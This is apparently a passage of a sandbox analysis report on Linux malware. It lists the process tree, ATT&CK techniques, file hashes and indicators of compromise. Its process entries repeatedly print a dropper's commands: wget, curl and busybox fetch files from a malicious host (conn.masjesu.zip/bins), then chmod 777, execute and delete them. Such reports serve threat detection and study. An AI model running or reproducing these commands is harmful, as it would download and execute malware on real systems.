- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - System Network Configuration Discovery
  PID:968
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:969
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - System Network Configuration Discovery
  PID:971
- /bin/chmod
  chmod 777 yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - File and Directory Permissions Modification
  PID:972
- /tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  ./yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  - Executes dropped EXE
  PID:973
- /bin/rm
  rm yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
  2⤵
  PID:974
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - System Network Configuration Discovery
  PID:975
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:976
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - System Network Configuration Discovery
  PID:978
- /bin/chmod
  chmod 777 MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  ./MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  - Executes dropped EXE
  PID:980
- /bin/rm
  rm MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
  2⤵
  PID:981
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - System Network Configuration Discovery
  PID:982
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:983
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:985
- /bin/chmod
  chmod 777 RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - File and Directory Permissions Modification
  PID:986
- /tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  ./RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  - Executes dropped EXE
  PID:987
- /bin/rm
  rm RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
  2⤵
  PID:988
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - System Network Configuration Discovery
  PID:989
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:990
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:992
- /bin/chmod
  chmod 777 5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - File and Directory Permissions Modification
  PID:993
- /tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  ./5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  - Executes dropped EXE
  PID:994
- /bin/rm
  rm 5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
  2⤵
  PID:995
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - System Network Configuration Discovery
  PID:996
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:997
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:999
- /bin/chmod
  chmod 777 ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - File and Directory Permissions Modification
  PID:1000
- /tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  ./ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  - Executes dropped EXE
  PID:1001
- /bin/rm
  rm ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
  2⤵
  PID:1002
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - System Network Configuration Discovery
  PID:1003
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1004
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - System Network Configuration Discovery
  PID:1006
- /bin/chmod
  chmod 777 gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - File and Directory Permissions Modification
  PID:1007
- /tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  ./gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  - Executes dropped EXE
  PID:1008
- /bin/rm
  rm gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
  2⤵
  PID:1009

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf

Path /tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	741	yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	793	43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	830	z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	840	7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
/tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf	847	MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	854	wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	861	yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
/tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj	868	gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj
/tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF	875	RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
/tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj	882	5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
/tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG	889	ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	896	hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	903	kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	910	fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
/tmp/kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9	917	kfjDGrQn2fnT51PcUOuycSrMAacMbKPHQ9
/tmp/fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn	924	fISq9ae7joGqNmtqnv0enKKyZi9qYX2SWn
/tmp/hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh	931	hl33UCrzoeH7juz27FwvkBCILjQE3cT3xh
/tmp/43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN	938	43AsGf8JbQK8tP21xQxgGyiKfnGS1F5jxN
/tmp/z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl	945	z2KrZB3uZFQCZjOKmzsyziTCMGRoWHv2dl
/tmp/7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ	952	7w93mwfE71Ry2JYlP7lg030oxgiknePIHZ
/tmp/yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf	959	yXl0N9sofm5zFNYbDCb1bMI1iVPw9zPCDf
/tmp/wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f	966	wgIFx2cQDklerWYwwPo0S2iJPXZZFz8R4f
/tmp/yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf	973	yE9tT1O3VyDw66eQJJJUDBfIF6M6J2Lokf
/tmp/MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf	980	MM24ACXXHQd6U6jHTA2S4GdTaooqTpJkVf
/tmp/RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF	987	RAwqSlxUYzAuFk61IqPSG8vdYzSZDPYURF
/tmp/5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj	994	5vnYsS5eMc7h5SlOttXd3nvxweRFRur6Aj
/tmp/ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG	1001	ZvK2coF9klmuo1a1fEdteAztKmSqZavHmG
/tmp/gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj	1008	gHnckyxjHU7eriUJ6hFrUn6IEK9QGabLmj